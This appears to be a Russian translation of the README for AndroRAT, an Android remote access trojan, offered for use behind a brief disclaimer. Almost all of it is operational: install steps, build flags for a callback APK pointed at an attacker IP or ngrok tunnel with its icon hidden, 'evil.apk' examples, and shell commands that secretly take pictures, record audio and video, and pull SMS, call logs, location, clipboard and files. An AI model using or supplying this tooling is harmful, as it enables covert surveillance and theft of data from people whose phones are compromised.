Отказ от ответственности : Это программное обеспечение предназначено только для образовательных целей. Я не несу ответственности за любое злонамеренное использование приложения.
AndroRAT — это инструмент, предназначенный для удаленного управления системой Android и получения от нее информации. Androrat — это клиент-серверное приложение, разработанное на Java Android для клиентской стороны, а сервер — на Python.
AndroRAT также работает на Android 10 (Q), но некоторые команды интерпретатора будут работать нестабильно.
AndroRAT требует Python3 и JAVA (или Android Studio).
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
При клонировании репозитория с помощью Git bash в Windows вы можете получить следующую ошибку:
ошибка: невозможно создать файл <имя файла>: имя файла слишком длинное
Это связано с тем, что Git имеет ограничение на длину имени файла в 4096 символов, за исключением Windows, когда Git компилируется с помощью msys. Он использует более старую версию Windows API, а длина имени файла ограничена 260 символами.
Вы можете обойти это, установив для core.longpaths
значение true
.
git config --system core.longpaths true
Вы должны запустить Git bash с правами администратора.
*#*#1337#*#*
(на данный момент есть только две опции Restart Activity
и Uninstall
).Примечание. Чтобы использовать эту функцию на некоторых устройствах, вам необходимо включить в настройках опцию
display pop-up windows running in background
режиме.
--build
— для сборки APK-файла для Android--ngrok
— для использования туннеля ngrok (через Интернет)--shell
— получение интерактивной оболочки устройстваbuild
Usage:
python3 androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python3 androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
Или вы можете вручную создать APK, импортировав папку Android Code в Android Studio и изменив IP-адрес и номер порта в файле config.java, а затем вы можете создать подписанный APK из Android Studio -> Build -> Generate Signed APK(s)
shell
Usage:
python3 androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
После запуска режима shell
вы получите интерпретатор устройства.
Команды, которые могут выполняться в интерпретаторе
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
В оболочке sh есть несколько подкоманд.
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
Чтобы собрать APK с помощью ngrok, который также установит прослушиватель: python3 androRAT.py --build --ngrok -o evil.apk
Чтобы собрать APK, используя нужный IP-адрес и порт: python3 androRAT.py --build -i 192.169.xx -p 8000 -o evil.apk
Чтобы получить интерпретатор: python3 androRAT.py --shell -i 0.0.0.0 -p 8000
AndroRAT лицензируется по лицензии MIT. Для получения дополнительной информации ознакомьтесь с ЛИЦЕНЗИЕЙ.